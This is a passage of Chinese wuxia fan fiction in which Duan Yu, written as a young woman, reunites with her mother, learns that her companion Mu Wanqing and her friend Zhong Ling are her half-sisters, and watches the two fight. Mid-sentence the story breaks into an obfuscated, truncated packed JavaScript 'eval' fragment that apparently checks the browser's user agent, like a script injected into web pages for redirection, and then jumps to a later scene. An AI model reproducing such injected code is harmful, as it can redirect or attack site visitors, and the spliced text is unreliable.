木婉清恍若未闻,解开她的衣带,隔着薄衣在她肩上咬了一口。她将手心贴在段钰胸前,动作间带了几分焦躁不安,顿时失了耐心,亲吻也变了味道,如掠夺一般在段钰口中肆虐。段钰被吻得说不出话来,双手又被她制住,衣衫半解躺在烛火下,真如板上鱼肉,任人为施,心中半是羞恼半是委屈,眼中又落下泪来。 木婉清察觉到了,深吸了口气,缓缓放开段钰的手,在她眉心落下一吻。段钰怔怔望着她,有些不明白:“你为什么,突然这样……” 木婉清将脸埋在她颈窝,低声道:“有时候我真想杀了你,这样我们就能死在一起了。”顿了顿道:“这是我的真心话,可我舍不得,再来一次也舍不得。” 段钰心中酸涩,轻声道:“木姐姐,我也是这么想的……就算今天和你一起死了,我也不会留下你一个人的。” 木婉清静了片刻,亲手为段钰穿好衣裳,重新系紧腰带,道:“你不想回家,那跟不跟我走?” 段钰问:“去哪儿?你师父住的山谷么?” 木婉清道:“你不想去那里,咱们就去别的地方。你不是想见见什么是江湖吗?等我养好了伤,就骑着马北上,出了大理到苏州杭州去,那里的人比这里还多,吃的玩的也不少,你一定没见过。” 段钰点了点头:“我都听你的,不过能不能先去一个地方?” 等到入夜,木婉清吹熄烛火,先去马厩将马儿四蹄以棉布包裹住,悄然无声牵到小路上,这才带段钰翻窗而出。今夜月色明亮,清光四射,二人一上马便朝西行去。清风朗月,群山苍茫,前路被朦朦薄雾笼罩着,马儿蹄下生风,一路踏过树影,越过溪流,在这月色下绝尘而去。段钰靠在木婉清怀里,心里却甚是安定。 行至天明,段钰一夜未睡,到此时倍感困倦。马儿自林中穿行,二人身上沾了些露水,晨风一吹,反倒精神起来。木婉清见前头有座石桥,对岸榴花开得像是一团火。段钰道:“对了,就是那儿。” 木婉清驱马上桥,缓缓往对岸行去。沿途绿柳如丝,景致怡人,一小湖水雾迷蒙,旁有一角黄墙露出。木婉清道:“这是什么地方?” 段钰笑道:“到了你就知道啦。” 走到近处,方见那黄墙是所寺观,匾额上写着“玉虚观”三字。木婉清在门前停住,段钰下了马,见左右无人,大着胆子到那门前,轻轻放下一枝新折的榴花,痴痴望着那道紧闭的门。 木婉清也走了过来,见她看着门不说话,道:“这就是你想来的地方?你要进去么?”段钰眼眶泛红,道:“不,我不能进去。木姐姐,我们走罢。” 熟料门却忽然开了,从观里走出一个道姑,见了她喜悦道:“钰儿,是你!” 段钰低呼一声,扑进她怀里。那道姑揽住她,叹道:“你这是到哪儿去淘气了?为了找你,你爹爹和伯父可是费了不少功夫。我昨日才收到消息,就连高侯爷也亲自出马了,你可真是胡闹。妈妈一想到你一个人在外头,不知有多担忧,正准备今日就去寻你呢,你倒好,自己又回来了。” 段钰埋在她温暖的怀抱里,心里却说不出的难过,悄悄抹去眼泪,小声道:“妈妈,我也很想你。爹爹公务繁忙,整日都见不到他。你也不回来,只剩下我一个人在王府孤孤单单的,我便偷偷溜出来,想见一见你。” 道姑拍了拍她的背,眼圈一红,哄道:“你想见妈妈,让人来告诉我一声就好,像这样一个人跑出来,妈妈怎会不担心呢?”抬眼看见门外一人一马,微微有些吃惊,道:“这又是谁?” 段钰道:“这是木婉清木姐姐,是我路上认识的新朋友,是她送我来见你的。” 道姑笑了出来,道:“好,出来一趟结交了新朋友,还是有长进的。” 木婉清疑惑地看着那道姑,观她虽已中年,面容依旧如美玉般,芳姿绰约,一抿一笑皆可入画,眉眼嘴唇与段钰极其相似。木婉清听段钰叫这道姑妈妈,更是想不明白,段钰的母亲为何会是个道姑。 道姑看女儿与这黑衣少女甚是亲近,微笑道:“木姑娘,多谢你这一路上照顾钰儿了,她又娇气又爱玩,是不是给你添了许多麻烦?” 木婉清道:“不,她很听话。”她在山谷久居,极少与外人来往,素无应对长辈的经验,只得沉默不语。 段钰想起钟夫人之事,踌躇着不知要如何开口,道姑捡起地上的榴花,说道:“钰儿,你玩也玩够了,是时候回去了。” 段钰道:“我不回去。” 道姑温柔一笑:“你长高了不少。你来看妈妈,妈妈心里很高兴。你不愿回去,是还在和你爹爹置气?能不能告诉妈妈,到底为什么?” 段钰怎好把钟夫人与钟灵的事情告诉她,左右为难,下意识转身看了眼木婉清,口中道:“我……那回我听见你们争吵了,你不肯回家,是因为爹爹做错了事,让你伤心难过了,对不对?”赌气道:“你不回去,我也不回去,就让他一个人呆在王府里好了。” 说话时道上数骑急奔而来,为首之人神色匆匆,正是朱丹臣。段钰心中暗道不好,忙道:“我要走了,妈妈,下回再来看你。”拉着木婉清飞快上了马。 道姑手中拂尘一卷,缠上她的手臂,将她从马上拖了下来,道:“你要去哪里?” 段钰心急万分,伸手朝木婉清道:“木姐姐!” 木婉清一手捉住段钰肩膀,在马背上纵身跃起,发掌向那道姑劈去,喝道:“放开她!”那道姑颇觉意外,拂尘一挥,卷住木婉清手腕一扯,木婉清身形摇晃,却没有放开段钰,反倒不顾伤势,运气于掌中,转手拍向道姑。道姑挥动拂尘,柔和内力自拂尘而出,拂尾飞散开来,一一化解木婉清攻势,又不至伤到她,数招下来,木婉清便知道姑武功了得,自己绝非是她的对手,当下便紧紧抓住段钰不放。 她不放手,道姑自然也不会放手。段钰急叫:“你们别打了!妈,木姐姐身上还有伤……好了好了,有话好好说,你们扯得我好痛,快些停手” 朱丹臣到得前来,身后数名骑手也下马拜伏在地。他躬身朝道姑拜倒,恭敬行礼,道:“原来小姐挂念玉虚散人,夜半携友到了这里来拜访。”他只字不提段钰从客店私逃一事,玉虚散人听在耳中,登时便明白了,责怪地看了段钰一眼。 玉虚散人放开段钰,收回拂尘,道:“怎么只你一人,高侯爷他们呢?” 朱丹臣道:“听闻四大恶人齐来大理,我们找小姐时遇上了‘无恶不作’叶二娘。她武功了得,又以小儿为挟,从高侯爷手里逃了去。高侯爷怕此人为害四方,便率三位护卫追她去了,命我护送小姐回大理。” 玉虚散人沉吟片刻,道:“钰儿性子跳脱,现又有了帮手在侧,只怕你看她不住。也罢,我同你一起送她回去。” 她数年未曾归家,段钰与朱丹臣闻言皆是一喜。朱丹臣笑道:“我这就派人回去报讯。” 段钰从马背上滑了下来,抱住她的胳膊来回摇晃,笑道:“妈,你真答应要回去了?可不许反悔。” 玉虚散人嗔道:“还不是因为你这小冤家。我送你到大理就回来,这回你可要乖乖的。” 段钰小心翼翼道:“你不回府么?” 玉虚散人面上笑容淡了些许,道:“我送你回去,为什么要回府。” 段钰心头那点喜悦又被冲淡了,低低应了声,转身见木婉清冷冷看着自己,恳求道:“木姐姐,你也一起来罢,好不好?” 木婉清盯着她看了一会儿,段钰牵着她的手轻摇了摇,见她垂眸不知想什么,心中甚是忐忑,半晌木婉清才点了点头。 一行人即刻启程,朱丹臣牵来马让玉虚散人乘坐,玉虚散人唤道:“钰儿,你过来,咱们同乘一骑,我有话要问你。” 木婉清却不等段钰回话,按着她的肩将人提上马背,一语不发往前头走了。 玉虚散人微微皱眉,心想这姑娘性子如此霸道,行事更是毫无礼数可言,方才二人交手,她已试出木婉清身手不凡,见她蒙头遮面,身份来历成谜,一时有些忧心。便朝朱丹臣使了个眼色,二人缓行在后,她问:“朱兄弟,这黑衣姑娘是何许人?” 朱丹臣面露难色,倒是将昨日所见原原本本复述大概,玉虚散人闻言一惊:“钰儿好大的胆子,往后可不许她再跑出来胡闹了。” 朱丹臣道:“以当时情形,应是这位姑娘救了小姐无疑。至于二人如何相遇,又如何结交,这我就不知了。” 玉虚散人听他说是木婉清救下了段钰,心中隐隐感激。途中着意留心,见段钰与木婉清说说笑笑,指点烟岚,木婉清看似冷漠强硬,此时眼带笑意,十分有耐心地听段钰说话,举止间也极为呵护。 段钰与木婉清说了一阵话,忽然静了下来,绞着衣袖不语。片刻后道:“木姐姐,我妈妈还在看着我们么?” 木婉清往玉虚散人瞥去,见她正与朱丹臣说话,道:“你见到了你妈妈,还不高兴吗” 段钰怔怔道:“我是很高兴。听到她说要送我回家,我高兴的不得了。可我一想到钟夫人,我就再也高兴不起来了。” 木婉清道:“你是不是不想告诉她这件事?” 段钰压下心头难过,低着头说:“我不知道。” 木婉清道:“那就别告诉她。” 段钰微惊:“这怎么能行?我答应了钟夫人……” 木婉清一指按在她唇上,在她耳旁低声道:“现在此事只有你知我知,钟夫人不会来大理,钟灵也不会,只要你不说我不说,你妈妈就不会知道。” 8. 第 8 章 段钰心中一颤,道:“好,我不说,我这就把它忘了。”当下手摸向左手腕,这才想起钟灵的镯子已被青衣人夺去了,恐怕再也拿不回来,心头一片茫然。 到了傍晚,离大理城尚有二三十里,段钰道:“就要到大理了,妈妈,你是不是要回去了。” 玉虚散人见女儿泪水盈盈,分外不舍,心中也十分为难。忽见道上烟尘滚滚,成千名骑兵列队驰来,两面杏黄旗迎风招展,一面旗上绣着“镇南”两个红字,另一面旗上绣着“保国”两个黑字。*玉虚散人当即拨马朝来路折返,被朱丹臣急急拦下,道:“王妃,且留步!” 一紫袍人骑着匹白马越众而出,朱丹臣等人一齐下马让在道旁。那紫袍人生了国字脸,神态威猛,浓眉大眼,肃然有王者之相*,向玉虚散人奔来。段钰呼喊道:“爹爹!” 紫袍人冷哼一声,道:“你私跑出王府,尽日胡闹,害得伯父伯母为你操心不已,这次我需得好好教训你一番,让你知道什么是轻是重。” 段钰被他一顿喝斥,蔫蔫地垂下头去。木婉清冷冷道:“你凶她做甚么?” 紫袍人吃了一惊,正巧玉虚道人驱马回转,闻言说道:“你骂女儿做甚么?你公务繁忙,便将她关在王府里,哪里有半点做爹的样子?她不过是想来见我,半途迷了路,一个人在外头漂泊多日,也吃够了苦头,回来还得被你训么?” 紫袍人陪笑道:“夫人莫气,我也是担心钰儿的安危。正好你也回来了,咱们一道回家,好好说说话。”又看向木婉清,道:“这位是……” 玉虚散人对女儿甚是维护,立即道:“这是木姑娘,是钰儿交的新朋友。我邀她一同来大理,到家里作客。” 紫袍人瞥木婉清一眼,似有疑惑,到底没再追究下去,大袖一挥,让朱丹臣等人起身。 一年轻女子跟在他身后不远处,她一身白衫,外罩绛红纱衣,分明是人间至艳之色,在她身上却如流火焰光一般,随风翻卷飞舞,即便是在漫天晚霞之下,也极为夺目耀眼。 段钰呆了半晌,看那女子纵马到了身旁,低声道:“高姐姐,你……你来了。” 女子眉目深邃,鼻梁高挺,目光在她身后木婉清身上落了片刻,淡淡道:“你的茶花有几株生得不大好,我不晓得是哪里做得不对。或是说这花草也是会认人的,哪怕是我再怎么精心照料,也比不上你在的时候。” 众人簇拥着紫袍人与玉虚散人往大理城去,玉虚散人从木婉清马旁经过,突然扣住段钰的手,把她从木婉清怀里提到了自己马上,道:“木姑娘,我有话问钰儿,你等一等。” 她见女儿后半路怏怏不乐,觉得另有隐情,带着段钰甩开众人快马入城,低声道:“钰儿,你到底怎么了?” 段钰稍稍迟疑,道:“妈妈,你不想回王府,那就不回去了。我再也不会催着你回家了。” 玉虚散人微惊,追问:“钰儿,你是不是有事瞒着我?” 段钰听她语声温柔,更觉难过,侧过头去,道:“妈妈,我已经长大了,你不用再像从前那样记挂我了。” 玉虚散人心知不可强逼她说出实情,顺势道:“出去一趟历练,人果然懂事了不少,听你这么说,我就放心了。”遂打马穿过闹市,往王府行去。 路上耽搁片刻,木婉清等人已快她们一刻到了王府,在门外等候。段钰下了马,扶着玉虚散人踏上门前石阶,紫袍人快步过来迎接,笑道:“夫人,你瞧钰儿也在,咱们一家总算是团聚了。” 玉虚散人面上怅然,不去理他,对段钰道:“好了,你去找你的木姐姐,带她到你院里坐坐,莫要怠慢了人家。回头我去看看你养的那些花儿。” 他二人一前一后进了府门,段钰方才去牵木婉清的手。她见前院护卫众多,不少是宫中出来的,猜到伯父伯母也来了王府,特地绕行到后院,一路丫鬟仆从纷纷躬身行礼,口称郡主,木婉清道:“他们为什么叫你郡主?” 段钰熟门熟路往自己院里走去,道:“因为我爹爹是王爷,我不是郡主又是什么?” 木婉清道:“你爹爹是王爷?他是什么王爷?” 段钰道:“他就是镇南王。” 两人刚进院中,便有内侍到门口来请段钰。段钰知道难逃一劫,只得先将木婉清带到自己屋里,道:“我伯父要见我,你在这里坐着,要是困了就去我床上睡,我很快就回来。” 木婉清拉住她的手,道:“你还会回来吗?” 段钰一愣,笑道:“当然了,你在这里,我怎能不回来呢。” 木婉清道:“好,我等你。” 立刻有宫婢服侍段钰去沐浴更衣,木婉清打量屋中陈设,见一应用具皆是上好的白瓷,墙上挂着几幅山水字画,东侧一窗开了一半,能看见院里的茶花。床四面被垂幔笼着,淡香浮动,那香气与段钰身上的近似,她倚在枕上,把玩着幔上垂下的流苏,不知不觉睡了过去。 段钰去堂上拜见伯父伯母,果不其然,又被一通教训。她伯父便是大理国当今皇帝段正明,帝号称保定,唯有一胞弟,即段钰之父,镇南王段正淳。保定帝一向随和温雅,因与皇后成婚多年无子,便将侄女视若己出,甚为疼爱,一听说玉虚散人带着段钰归来,立刻携皇后驾临王府。 多亏有母亲在一旁开脱,段钰略过落崖入万劫谷之事不提,捡了几件不痛不痒的挑出来说了,勉强交代了一番,这才应对过去。 皇后道:“你说那恶人……要收你做徒弟?” 段钰想想也觉得匪夷所思,道:“他一见我的后脑,说我的脑骨像他,是个练武的奇才,非要我拜他为师。” 段正淳冷哼道:“这话听听算了,没学武功就已让人头疼,要是真学了一招半式那还了得。” 保定帝不甚赞同,道:“淳弟,我段氏先祖本是江湖中人,凭武功立国,后人岂有不会武功之理?你是该好好教一教钰儿,她总得有自保之力才是。” 段正淳见女儿眼巴巴看着自己,沉吟再三,道:“江湖易入难出,英豪也好,奇才也罢,哪个又能在风浪间全身而退?女子行走江湖有诸多不易,我不教钰儿武功,也是为了她好。她只消呆在大理,如此平平安安度日,我就能放心了。” 保定帝道:“此言不无道理。钰儿,你是如何想的?” 段钰道:“就算爹爹不肯教我,我……我也可以自己学。” 众人皆为这孩子气的话一笑,玉虚散人笑道:“他不教你,你要到哪里去学?” 段钰仍记得山洞中得来的武功秘籍,本拟归家后默出请教诸位长辈,此时却犹豫不决,见父亲态度一如从前,终是决定瞒下此事不提。 眼看侄女平安无事,保定帝当即心安不少,念及玉虚散人多年未归,有心撮合他们夫妇重修旧好,询问了段钰几句话后又回宫去了。 段正淳送走保定帝,携妻女回到府中,因爱妻终于归府,女儿也找回来了,实是双喜临门,命人立即去布宴。玉虚散人道:“那位木姑娘呢,快去将她请来。我当面好好谢一谢她。” 段钰闻言忙去寻木婉清了。段正淳回想起今日斥责女儿时当面反驳自己的黑衣少女,当时人人都下马在道旁相迎,这少女却坐在马背上纹丝不动,显然不知礼数。他心下不喜,只是碍于妻子颜面,道:“这姑娘是什么来历,是如何与钰儿相识的?” 玉虚散人道:“你怎么不去问她?” 段正淳道:“我看她不见得会说。” 玉虚散人神色冷冷,拂袖而去,道:“这些年我不在,你就是这么照看女儿的,看她如今甚么话也不愿与你说,你这个做爹的,也好意思来怪女儿?” 段钰回到院里,屏退服侍的宫婢,到房中去寻人。她离去前怕木婉清觉得不自在,命人不可进屋打扰,是以屋中昏黑。段钰猜木婉清许是睡着了,便提了盏檐下的灯从花丛穿过,悄然入门。 轻手轻脚走到床前,帷幔下果然有道人影侧卧而眠。这张床一向只有她自己睡,而今却多出了一人,那感觉十分新奇,掺杂着说不出的缱绻暧昧,段钰不由得微笑起来。她放下灯,刚在床沿坐下,就惊呼一声,被人拉进了幔子里。 隔着一层纱幔,满床都是如水纹般的光影,木婉清紧紧抱着她,在床上滚了一圈,段钰笑个不停,又怕被人听去了,掩着嘴闷笑不已,问:“是不是把你吵醒了?” 木婉清不答,只抱着她在床上翻来覆去地滚。段钰起先还能忍着笑,后来干脆放开手大笑起来,直滚得辫发散乱,气喘吁吁,心中却觉得无比快活。 木婉清抵着她的额头,同样也是微喘。段钰见她入睡也戴着面纱,指尖在她面颊一碰,从黑纱边缘探入,道:“把这个摘了,好不好?” 木婉清目光幽深,嗓音还带着初醒的沙哑,道:“我是你的,你想摘就摘。” 段钰不必去摸,都能感受到脸烧得厉害,却没有反驳木婉清这句话。郑重地将她脸上的面纱取了下来,而然还未看清纱下的面容,木婉清已经咬住了她的嘴唇,舌尖随之探进齿关。 段钰被她压在床上亲吻,才想起这是在王府家中,是在自己惯睡的床上,然而此念一起,更是平添数十倍的新鲜刺激,又有几分难为情,反手紧搂着木婉清脖颈,喘息道:“木姐姐,我妈妈……让我来……请你去……吃晚饭……” 木婉清手掌撑在床上,半身支起,道:“今日那人是谁?” 段钰痴痴望着她的面容,好一会儿才反应过来,羞赧道:“今天好多人,你说的是谁?” 木婉清道:“那个穿红衣的。” 段钰道:“那是高伯伯的女儿,她叫高湄。她自小就跟着高伯伯学武,武功也很了得,我爹爹不在王府时,就会请她来照顾我。”奇怪道:“你问她做甚么?” 木婉清道:“我看你见到她,好像不太高兴。” 段钰一言难尽,支支吾吾道:“她是个很好的人,但……哎呀,先不说她了,爹爹妈妈还在等我们呢。”慌忙理好衣裳,拉着木婉清到内堂赴宴。 堂中灯火通明,随宴伺候的宫婢侍立一旁,美酒佳肴早已备好。玉虚散人与段正淳已经入座。段正淳与妻子低声说话,玉虚散人冷着脸闭口不语。见女儿姗姗来迟,脸上红晕未褪,笑意盈盈,玉虚散人这才眉目舒展,露出淡淡笑容。只见段钰身后还跟着一名黑衣少女,入厅时烛光照在她脸上,骤然映亮她明丽清朗的面容,纵是唇色稍淡,亦不减分毫秀美。 玉虚散人怎么也没想到这黑衣少女竟会生得如此美貌,颇感意外,转头去看丈夫,见段正淳目不转瞬地盯着那少女,面上似有恍惚之色,微一皱眉,将空杯拿起重重落在桌上。 段钰还以为让母亲等候太久,惹得她不快,忙拉着木婉清道:“爹爹妈妈,这是木婉清木姐姐。” 木婉清道:“伯母、伯父。”随段钰入座。 段正淳方才回神,笑道:“钰儿在外数月,全赖姑娘照拂了。听钰儿说姑娘武功很好,不知姑娘师从何处,家在何方?” 木婉清道:“我不知家在哪里。我小时候被父母遗弃在荒郊野岭,是师父好心捡到了我,将扶养我长大,还教会了我武功。” 段正淳道:“敢问尊师姓名。” 木婉清道:“我师父叫做‘幽谷客’。” 段钰见母亲神色冷淡,说不得又是和父亲大吵过了,讨好道:“妈,我给你斟酒,好不好?” 玉虚散人道:“我不喝酒。” 段钰道:“那我给你倒茶,你喝么?”见玉虚散人点了点头,从宫婢手里接过一壶清茶,倒好后双手捧着送到玉虚散人面前,玉虚散人道:“放在这里。” 段钰微微一笑,顽皮道:“你不接,我怎么知道你会不会喝?还是说要我把茶给爹爹,请他来送,你才会喝?” 段正淳附和道:“夫人还是喝了吧。你是知道钰儿的,你不喝她岂会罢休。” 玉虚散人无奈道:“我什么时候骗过你了。”伸出左手去接茶盏。 烛光之下,清清楚楚照出她手背近腕处那块殷红如血的印记,木婉清眼中一震,举箸的手僵在半空,道:“伯母,你手上的……那是什么?” 玉虚散人见她看着自己手腕,特意转了过来,好让她看个仔细。段钰笑道:“这是一块胎记,我妈妈的名字也是从这里来的。” 木婉清低声道:“是不是叫作……刀白凤?” 玉虚散人奇道:“钰儿,你怎么连我的名字也告诉人家了,这就是你交朋友的办法?” 段钰一怔,木婉清的脸已经一寸寸白了下去,嗓音微微发颤,问:“你是摆夷女子,惯使的武器是一条软鞭,我说的对不对?” 玉虚散人虽心有疑惑,仍是点了点头。段正淳责怪道:“平日我是怎么告诉你的,到了外头不可轻易对人吐露身份,你怎么还把你妈妈的名字说了出去?” 段钰委屈道:“可是我没说呀。” 话音刚落,听机括声一响,木婉清霍然起身,右手已直指玉虚散人。段钰见识过她这毒箭的厉害,慌忙挡在母亲面前,急道:“木姐姐,你这是要做甚么?” 木婉清冷冷道:“你让开,不然我这一箭就射在你身上了!” 段钰不明白她为何突然变成了这样,怕她伤了母亲,倔强地不肯让,道:“那你射罢,我不怕!你为什么要对我妈妈动手?” 木婉清一字字道:“我师父在大理有个仇人,叫作刀白凤。我本就要来取她的性命。” 段钰呆了一瞬,道:“怪不得我明明什么也没说,你就知道了她的名字,原来……原来是这样。” 木婉清咬紧牙关:“你再不让开,我就真射你了!” 她与段钰之间离得极近,若此时射箭,只怕难以阻拦。段正淳与玉虚散人怕她伤及女儿,心中焦灼,只得坐定不动。 段钰道:“你想替你师父报仇,那就先杀了我好了。” 木婉清盛怒之下厉喝道:“你真以为我不敢么?”顷刻间手中短箭应声飞出。 段正淳立刻飞指点向木婉清穴道,瞬间便令她无法动弹。然此时回护女儿已来不及,玉虚散人叫道:“钰儿!” 段钰不闪不躲,眼看那一箭射来,本以为必死无疑。谁知一道厉风自耳下掠过,身后传来夺的一声,回头看去,短箭深深没入屏风,箭尾犹自震动。 原来木婉清最后射箭时手臂微颤,失了准头,这才射偏了。段钰望着短箭,目光空茫茫地落在木婉清身上,仿佛难以置信,又有些无法言明的伤心难过,喃喃道:“你真的对我……” 木婉清嘴唇微动,终究没有开口。 段正淳卸了木婉清手臂上的暗箭扔到桌上,道:“是甚么人派你来的?” 刀白凤将女儿拉到身后,见她一脸恍惚,还以为是受了惊吓。再看屏风上的短箭,更是确定了心中猜测,道:“修罗刀秦红棉是你甚么人?” 段正淳脸色一变,木婉清冷冷道:“我不认识这人,我只知道你是我师父的仇人。” 刀白凤道:“除了我之外,你师父是不是还叫你去杀另一个人。她叫甘宝宝,外号‘俏夜叉’。” 木婉清道:“不,甘宝宝是我师叔。” 刀白凤冷笑一声,目光却转向了段正淳,道:“好,我知道了。是不是还有一个姓王的女子,住在苏州,你师父也要你杀她?” 木婉清定定看向她:“不错,你怎会知道?” 刀白凤道:“很好,很好。”却是出掌劈向一旁的段正淳,道:“想必你方才盯着这姑娘看,也是思及故人了吧?” 段正淳脸上青红交错,侧头避开这一掌,道:“凤凰儿,你……” 刀白凤气极,一看段钰呆呆站在一旁,心中酸楚难当,道:“你做下的好事,却连累了女儿。” 段正淳长叹一声,将木婉清扶起坐好,对段钰道:“是我对不起你和钰儿……幽谷客,幽谷客,我早该想到的。” 段钰隐约有不祥之感,低声道:“爹爹,这话是什么意思?” 段正淳道:“你今年二十岁,是九月间的生日,是不是?” 木婉清警觉道:“这和你有甚么关系?” 刀白凤听得此处已是忍无可忍,飞身而起跃窗离去。段钰惊呼追上,道:“妈,你要去哪儿?”见刀白凤站在院子里,并未走远,便在窗前停下。 段正淳道:“你师父这些年过得如何?” 木婉清道:“我已落在你手中,要杀要剐悉听尊便。与我师父有关的事,半个字我也不会泄露的。” 段正淳神色转为和缓,道:“能不能带我去见你师父一面,我有话要当面告诉她。” 木婉清道:“我师父从不见男子。” 段正淳端详着她,良久后道:“那你师父,她还好吗?” 一侧垂帘遮住了段钰身影,二人皆以为段钰随刀白凤离去,不知她仍在厅内。木婉清道:“你为什么这么问,难道你认识我师父?” 段正淳眼含愧疚,解了木婉清穴道,道:“也罢,你与钰儿素不相识,却半道结缘,想来冥冥中自有天意使然,要你们姐妹重逢。” 段钰只觉周遭声音尽皆远去,心口阵阵闷痛,仿佛那一箭根本没有射偏,而是正中胸前,扶着窗沿才勉强站立住。她看着木婉清的身影,有一瞬竟不知身处何地,心头涌起无穷恐惧。 木婉清又惊又怒,道:“什么姐妹,谁信你的胡话!” 段正淳道:“事关重大,我怎会胡说?你的师父便是你的母亲,你……你是我的女儿。” 木婉清冷笑道:“无凭无据,你说我是你的女儿我就是?以为我会相信你的鬼话?” 段正淳缓缓道:“带我去见你师父,你自然就知道是真是假了。” 木婉清寒声道:“我是不是你的女儿另说,但你确实还有个女儿在外头。” 段正淳脸色骤变,道:“你说什么?” 却听帘后传来一个颤抖的声音:“她说的都是真的,爹……” 段钰满脸泪水,从帘后走出。木婉清闻言快步走到她身前,抬手想为她擦去眼泪,段钰轻轻拨开她的手,低声道:“你走开,我不要你了。” 木婉清面上血色尽失,手硬生生收了回来,如泥塑般僵在原地。 段正淳一惊:“钰儿,你怎么在这里?” 段钰静了片刻,哽咽道:“我在无量山,认识了一个朋友,她姓钟,叫钟灵。当时她被神农帮的人捉住了,我去万劫谷找她的母亲钟夫人救她……钟夫人她……她就是木姐姐的师叔。之后,钟夫人得知我是你的女儿,托我转交一件东西给你……想请你去救钟灵。我不小心打开看了,里头是钟灵的生辰八字,还有一句话……钟灵、钟灵她也是你的……” 话说到此处已是断续难继,泣不成声,再也说不下去了。 刀白凤怒气难消,刚进门就听了段钰这番话,终于明白归来途中女儿为何郁郁不乐,欲言又止,原来是藏了这么一桩心事。思及女儿一路对着自己强颜欢笑,佯装无事,心中不知如何难过,险些气炸了胸膛,道:“段正淳,我当真对你失望得很。你总和我说,那些事都已经过去了,我看未必。我没有忘,别人也不会忘!” 段正淳急急道:“凤凰儿,你听我说……” 段钰见母亲回来,张口轻轻叫了声妈,也不去看木婉清,拔足向外疾奔。 木婉清要追,却被段正淳制住,怒道:“放开我!” 段正淳道:“你师叔甘宝宝,真有一个女儿?” 段钰浑浑噩噩,往自己居处快步走去,行至院中,一个没留意,脚下接连绊倒了几盆花,泪眼朦胧中,身子倾斜向一旁地面扑去,却被人搀扶住了。 她抬头一看,那人容貌明艳,一条长辫从颈边垂至胸前,鬓边别了一红一白两色茶花,竟是钟灵。 几日不见,钟灵似是消瘦许多,更为奇异的是,她身上原来那股天真之气竟荡然无存,便如茶花开到极致,秾艳到了极点,仿佛脱胎换骨,忽然一夜之间长大成人。让段钰觉得十分陌生,几乎认不出是她。 钟灵微微一笑,把段钰扶了起来,环顾四周道:“这些都是你种的花么,真好看。”又道:“你怎么哭了,谁欺负你了?” 段钰方才哭得狠了,头有些晕,道:“钟灵……是你?” 钟灵笑道:“才过了几天,你连我都认不出来了么?” 段钰惊异道:“你怎么会在这里?” 钟灵道:“我家里的茶花开了,说好请你来看,你不来,我只好来见你了。”说着抚上鬓边,轻轻摘下那两朵花,放在面前低头轻嗅,道:“我把它剪下带来给你了。你看,是不是很美?” 那两朵花原来是一枝所生,段钰看了一会儿,便知这花养起来不容易,这般被折了,当真是将心血付之东流,喃喃道:“你不用这样,我……我也不是一定要看的。” 钟灵亲昵地摸了摸她的脸,把花插在她的发间,道:“可答应了别人的事,总是要办到的,你说是不是?” 段钰不敢接话,觉得她另有所指,便道:“你是来见爹爹的吗,他在那里,你去找他好了。” 钟灵脸色转为阴沉,很快又恢复了笑意,笑眯眯道:“我有父有母,为甚么要去认别人做爹?” 段钰从她怀里挣脱开,转身跑向屋子,钟灵从背后将她抱住,道:“你不想我么?” 段钰急道:“我不想你!” 钟灵笑道:“真的?别是说假话罢?” 段钰怕有人来看到,急得伸手去掰钟灵的手,道:“钟灵,你是我姐姐,我们是……” 钟灵听了道:“确实,我比你大,你应该叫姐姐。” 段钰低声道:“你明明知道我说的不是这个……” 话音戛然而止,钟灵收紧手臂,仿佛要把她嵌进自己身体里。段钰陷在她的怀里,快要喘不过气来,连挣扎的力气都没有了。钟灵在她耳根吻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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木婉清不去理睬她,只看着段钰,道:“那一箭,我不是有意……伤到你没有?”短短一句话,她说得断断续续,甚是艰难,见段钰脸转了过来,看向自己,登时眼底重燃希望,道:“……你要不要跟我走?” 段钰眼角泪光隐隐,低声道:“爹爹他准备什么时候去见你师父?” 月光下木婉清闻言面色近如死灰,钟灵嘲弄般看她一眼,心中甚感快意。 段钰无法忍受,说完立即便走,这二人她如今谁都不想看到,片刻也不想停留,快步出了院子。 木婉清刚要追上去,钟灵见状一掌拦下,懒懒道:“木姐姐,不知你现在是‘先来的’,还是‘后到的’?你到底算聪明呢,还是蠢笨呢?” 这话却是将那夜木婉清所说原样奉还了。木婉清面容冷漠,缓缓抽出剑,道:“钟灵,有没有人告诉过你,你笑的时候很惹人生厌。” 钟灵眼中寒光一闪,唇边笑意加深:“像你这样成日一身黑衣,又蒙着脸,就算守寡十年的寡妇也自愧不如,只怕连怎么笑也不会了罢?你不如告诉我,你是怎么把段钰哄骗到手的?莫非是靠着你的这张脸么?” 木婉清冷声道:“看在师叔的面子上,我会留你一条性命回去,至于手脚是否完好,这我就不能担保了。” 钟灵闻言刷的一声拔出腰间佩刀,手间银环叮当作响,冷笑道:“也好,我正有此意。胜负由人,事后谁也别有怨言。你趁虚而入,抢了我的人,这笔账我还没找你算呢!” 木婉清讥讽道:“你的人?你去问问,看她会答应吗?”剑锋如影,穿叶而过,立即向钟灵刺去。钟灵却收了刀,纵身跃上高墙,疾走向另一头。木婉清跃起追上,喝道:“别想跑!” 钟灵身姿轻盈,回头轻蔑一笑:“你懂什么?我只是不愿在钰儿院里动手,伤了她养的那些花罢了。” 木婉清已然挥剑砍去,怒道:“你给我闭嘴!” 钟灵笑如银铃,道:“你蠢笨成这样,怪不得讨不了人家的欢心。”然而手腕一转,持刀甩向木婉清,刀尖从她下颌向上挑去。木婉清一剑指向钟灵右臂,剑身一荡,在月色中如水银泻地,显然是拼上了全力。 钟灵刀法凌厉,如暴雨疾风,只攻不守。二人招招都是以命相博,也顾不上其他,刀剑之声很快惊动了王府护卫。一红衣女子持弓指向二人,喝道:“放肆!何方宵小,敢犯镇南王府?”见交手二人竟是两名女子,那黑衣的白日方才见过,惊讶道:“是你?” 钟灵从剑下躲开,笑道:“木姐姐,你爹派帮手来啦!这下我可不敢和你打了。这次没分出胜负,还有下回,你可别忘了。” 木婉清厉声道:“谁告诉你的?” 钟灵俏皮地眨了眨眼:“你不如猜猜看。” 这时段正淳赶来,急叫:“高湄,不可伤了她!”连忙让护卫退下。 